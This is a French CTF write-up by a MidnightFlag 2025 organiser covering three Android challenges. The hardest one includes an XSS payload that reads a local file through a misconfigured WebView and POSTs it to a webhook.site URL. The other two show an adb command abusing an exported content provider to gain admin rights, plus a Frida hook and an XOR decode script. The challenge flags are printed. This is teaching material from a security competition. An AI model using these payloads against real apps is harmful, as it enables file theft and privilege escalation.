MidnightFlag CTF - 2025
Cette année, j’ai eu le plaisir d’organiser le MidnightFlag CTF et d’en faire mon projet d’année scolaire.
J’ai eu la chance de créer et maintenir l’infrastructure du CTF. Un grand merci encore à @Exoscale pour l’hébergement ! (et à Sebastien :p)
0% de downtime - un vrai record ;)
J’ai développé 3 challenges dans la catégorie Android. Un grand merci à @Worty pour avoir accepté de créer le troisième avec moi !
Pour les writeups, on va commencer par le plus dur et finir par le plus simple.
Neopasswd3 (Difficile)
neopasswd3 is the most complete and playful version yet. More features, more fun… And for the anecdote, this one’s inspired by true bug in bug bounty 👀
- Neopasswd3.apk : APK du challenge
- server.js : Serveur NodeJS distant utilisé pour interagir avec l’APK
Le serveur NodeJS
Dans server.js
, on comprend rapidement que le serveur et l’APK servent à autoriser une authentification sur des sites web. Les messages WebSocket suivants peuvent être échangés avec le serveur :
- device : Utilisé par l’application Android pour s’authentifier auprès du serveur, avec un UUID si elle s’est déjà connectée — sinon, le serveur en renvoie un.
- authorization : Crée un événement qui sera récupéré par l’APK pour autoriser (ou non) la connexion.
- authorization_response : Utilisé par l’application Android pour envoyer la réponse à une demande de connexion.
Notez que le code suivant est exécuté chaque seconde pour envoyer des demandes de connexion pour tous les utilisateurs :
function startEventLoop(ws, deviceId) {
const interval = setInterval(() => {
db.get(`SELECT * FROM event WHERE device_id = ? ORDER BY id LIMIT 1`, [deviceId], (err, row) => {
if (row) {
ws.send(JSON.stringify({
type: "authorization",
reason: row.reason,
id: row.device_id
}));
db.run(`DELETE FROM event WHERE id = ?`, [row.id]);
}
});
}, 1000);
}
Il existe un ID spécial codé en dur 11111111-1111-1111-1111-111111111111 qui correspond aussi au téléphone de l’administrateur :)
L’application Android
Dans l’APK, il n’y a pas beaucoup de code source. En gros, la seule classe intéressante est MainActivity.java
, qui s’occupe de la connexion au serveur web. Quand une requête de connexion est reçue, le code suivant est exécuté :
//[...]
public void showAuthorizationPopup(String reason, final AuthorizationCallback callback) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
WebView webView = new WebView(this);
webView.setWebViewClient(new WebViewClient());
final AlertDialog dialog = builder.create();
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.addJavascriptInterface(new Object() {
@JavascriptInterface
public void agree() {
dialog.dismiss();
try {
JSONObject result = new JSONObject();
result.put(NotificationCompat.CATEGORY_STATUS, "agree");
result.put("timestamp", System.currentTimeMillis());
callback.onAuthorizationResponse(result);
} catch (Exception e) {
e.printStackTrace();
}
}
@JavascriptInterface
public void disallow() {
dialog.dismiss();
try {
JSONObject result = new JSONObject();
result.put(NotificationCompat.CATEGORY_STATUS, "disallow");
result.put("timestamp", System.currentTimeMillis());
callback.onAuthorizationResponse(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}, "Android");
try {
File htmlFile = new File(getFilesDir(), "webview_payload.html");
String html = "<html><body style='background:#000;color:#0f0;text-align:center;font-family:monospace;'><h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b></p><button onclick='Android.agree()'>Agree</button> <button onclick='Android.disallow()'>Disallow</button></body></html>";
FileOutputStream fos = new FileOutputStream(htmlFile);
fos.write(html.getBytes(StandardCharsets.UTF_8));
fos.close();
webView.loadUrl("file://" + htmlFile.getAbsolutePath());
dialog.setView(webView);
dialog.setCancelable(true);
dialog.show();
} catch (Exception e) {
e.printStackTrace();
}
}
//[...]
Potentiel file read
Dans le code Android précédent, on voit que le WebView est créé avec les paramètres dangereux suivants :
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
setJavaScriptEnabled
permet l’exécution de code JavaScript dans le WebView.setAllowFileAccess
permet au WebView de lire des fichiers locaux viafile://
.setAllowFileAccessFromFileURLs
permet à du JavaScript local de lire d’autres fichiers viafile://
.
Cette combinaison peut permettre la lecture de fichiers sensibles depuis le sandbox de l’application s’il y a une faille XSS.
XSS
Lorsque l’application reçoit un événement de connexion, une page HTML est construite avec un paramètre contrôlé par l’utilisateur, reason
, reçu depuis le serveur NodeJS et transmis tel quel à l’APK.
Donc, comme l’utilisateur connaît l’ID de l’admin, il peut déclencher une XSS dans le WebView sur l’appareil de l’admin (et lire un fichier local).
File htmlFile = new File(getFilesDir(), "webview_payload.html");
String html = "<html>[...]<h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b>[...]</html>";
Exploitation complète
Puisqu’on connaît l’ID admin 11111111-1111-1111-1111-111111111111
, on peut envoyer un message qui déclenche une XSS sur son téléphone ! (Oui, en tant qu’orga du CTF, on avait une VM Android pendant l’event pour faire tourner les payloads des joueurs :p)
Envoyer le message WebSocket suivant déclenche le bug et nous permet d’obtenir le flag :
{
"type": "authorization",
"id": "11111111-1111-1111-1111-111111111111",
"reason": "Connexion on test <script>
f = x => fetch(\"https://webhook.site/<YOUR_UUID>\", {
method: \"POST\",
headers: {
\"Content-Type\": \"text/plain\"
},
body: x
});
x = new XMLHttpRequest();
x.onload = () => f(x.responseText);
x.open(\"GET\", \"file:///data/user/0/com.example.neopasswd3/files/flag.txt\");
x.send();
</script>"
}
Tada ! On a le flag sur notre webhook !
MCTF{5a66684f15b18bf4973d60bc7bea912b}
Talk
Si ça vous a intéressé, n’hésitez pas à jeter un coup d’œil à une conf que j’ai donnée sur le sujet :) Si vous cherchez bien vous pourrez même la trouver sur YouTube → Cliquez ici
Neopasswd2 (Moyen)
neopasswd2 is the shiny new version of the original app, now with notifications and login! The devs said it’s safe, that’s cuuute
- Neopasswd2.apk : APK du challenge
Comprendre l’APK
Quand on décompile l’APK, on remarque qu’il y a une forme d’authentification admin et de gestion de messages chiffrés.
En lançant l’application, on voit qu’il est possible de créer un compte et de s’authentifier ;)
La fonction tryDecrypt
essaie de déchiffrer des données encodées en Base64 avec AES. Mais avant cela, elle vérifie la taille des données décodées. Comme on peut le voir dans la méthode getMaxAllowedLength()
, elle autorise seulement un maximum de 3 octets.
Donc si le message, une fois décodé en Base64, fait plus de 3 octets, la méthode retourne immédiatement null
et saute le déchiffrement !
10
Devenir admin
Il y avait plusieurs façons de devenir admin ! C’était possible soit avec Frida, soit directement en modifiant la base de données.
Voici un extrait intéressant du fichier AndroidManifest.xml
:
Le manifeste déclare un UserProvider
exporté et ne nécessitant aucune permission spéciale. Comme il est publiquement accessible et que son authority est connue (com.example.neopasswd2.provider
), on peut l’utiliser directement via ADB :
adb shell content update --uri content://com.example.neopasswd2.provider/users \
--bind admin:i:1 \
--where "\"username='pwnii'\""
Avec cette commande, tu peux mettre à jour le champ admin
de ton utilisateur dans la base de données, ce qui t’accorde potentiellement les droits admin, sans authentification ni UI.
Hooking
Maintenant qu’on est admin, on doit hooker la fonction getMaxAllowedLength()
pour augmenter la limite de taille des données à déchiffrer !
Pour ça, il suffit de sortir Frida :
On peut hooker la méthode getMaxAllowedLength()
avec Frida pour contourner la limite. Par défaut, cette méthode retourne 3
, ce qui bloque tout message un peu long. Pour la forcer à renvoyer une valeur plus grande, voici un petit script :
Java.perform(() => {
const Main = Java.use("com.example.neopasswd2.MainActivity");
Main.getMaxAllowedLength.implementation = function () {
console.log("getMaxAllowedLength() patched -> 999");
return 9999;
};
});
Cela force la méthode à renvoyer 9999
au lieu de 3
, permettant de passer des messages plus longs à la méthode tryDecrypt
et de récupérer le message complet déchiffré !
On clique sur l’icône de notification pour déclencher la fonction et tadaa !
Th3_c4k3_1s_4_L13!
Bbyneopasswd (Facile)
bby neopasswd is a small mobile app currently under development by a group of students. Can you find the flag hidden within their early prototype?
- Bby_neopasswd.apk: APK du challenge
Décompilation de l’app
Tu pouvais lancer l’APK pour voir son interface, mais ce n’était pas très utile car il n’y avait rien d’intéressant sur le front-end pour résoudre le challenge.
En décompilant l’APK, on voit qu’il ne se passe pas grand-chose dans MainActivity
, mais on trouve quelque chose d’intéressant dans la partie notifications, en particulier dans le fichier NotificationsFragment
.
La méthode encryptNotification()
utilise XOR avec la clé 66
pour chiffrer les données. Comme XOR est symétrique, on peut déchiffrer en appliquant le même XOR à nouveau.
Dans la méthode onCreateView()
, on voit un tableau de bytes :
byte[] bArr = {15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63};
On peut déchiffrer ce tableau avec une simple opération XOR avec la clé 66
. Voici un petit script Python pour ça :
encrypted = [15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63]
key = 66
decrypted = ''.join(chr(b ^ key) for b in encrypted)
print(decrypted)
Et on récupère le flag :)
MCTF{1t5_SuP3r_3asy_t0_F1nd_S3cret5}